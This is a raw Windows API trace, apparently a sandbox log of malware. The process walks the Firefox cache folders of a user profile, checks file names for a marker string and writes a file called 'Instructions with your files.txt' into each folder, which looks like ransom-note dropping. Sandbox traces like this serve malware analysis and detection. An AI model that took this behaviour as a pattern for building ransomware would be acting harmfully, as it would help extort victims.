[0130.691] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0130.691] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\*") returned 99
[0130.691] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.692] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\.") returned 99
[0130.692] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.692] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\..") returned 100
[0130.692] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4B", cAlternateFileName="")) returned 1
[0130.692] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B") returned 100
[0130.692] GetProcessHeap () returned 0x810000
[0130.692] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0130.693] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\*") returned 102
[0130.693] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.696] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\.") returned 102
[0130.696] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.697] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\..") returned 103
[0130.697] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb72eeab0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x20543, dwReserved0=0x0, dwReserved1=0x0, cFileName="1D8FDd01", cAlternateFileName="")) returned 1
[0130.697] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01") returned 109
[0130.697] StrStrIW (lpFirst="1D8FDd01", lpSrch="SDfghjkl") returned 0x0
[0130.697] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb72eeab0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x20543, dwReserved0=0x0, dwReserved1=0x0, cFileName="1D8FDd01", cAlternateFileName="")) returned 0
[0130.697] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\Instructions with your files.txt") returned 133
[0130.697] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\4b\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.697] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.698] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.698] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.698] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.698] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.698] CloseHandle (hObject=0x12c) returned 1
[0130.698] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.698] GetProcessHeap () returned 0x810000
[0130.699] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0130.699] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb727c690, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb727c690, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb727c690, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4B", cAlternateFileName="")) returned 0
[0130.699] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\Instructions with your files.txt") returned 130
[0130.699] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.699] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.700] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.700] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.700] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.700] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.700] CloseHandle (hObject=0x128) returned 1
[0130.700] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.700] GetProcessHeap () returned 0x810000
[0130.700] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0130.701] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4", cAlternateFileName="")) returned 1
[0130.701] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4") returned 97
[0130.701] GetProcessHeap () returned 0x810000
[0130.701] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0130.702] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\*") returned 99
[0130.702] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.702] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\.") returned 99
[0130.702] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.702] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\..") returned 100
[0130.702] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.702] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\Instructions with your files.txt") returned 130
[0130.703] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\4\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\4\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.703] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.704] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.704] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.704] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.704] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.704] CloseHandle (hObject=0x128) returned 1
[0130.704] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.704] GetProcessHeap () returned 0x810000
[0130.704] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0130.704] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5", cAlternateFileName="")) returned 1
[0130.704] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5") returned 97
[0130.704] GetProcessHeap () returned 0x810000
[0130.704] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0130.704] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\*") returned 99
[0130.704] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.705] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\.") returned 99
[0130.705] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.706] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\..") returned 100
[0130.706] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb64f2970, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb64f2970, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.706] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\Instructions with your files.txt") returned 130
[0130.706] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\5\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\5\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.706] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.707] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.707] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.707] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.707] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.707] CloseHandle (hObject=0x128) returned 1
[0130.707] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.707] GetProcessHeap () returned 0x810000
[0130.707] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0130.707] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6", cAlternateFileName="")) returned 1
[0130.707] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6") returned 97
[0130.707] GetProcessHeap () returned 0x810000
[0130.707] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0130.708] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\*") returned 99
[0130.708] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.708] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\6\\.") returned 99
[0130.708] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
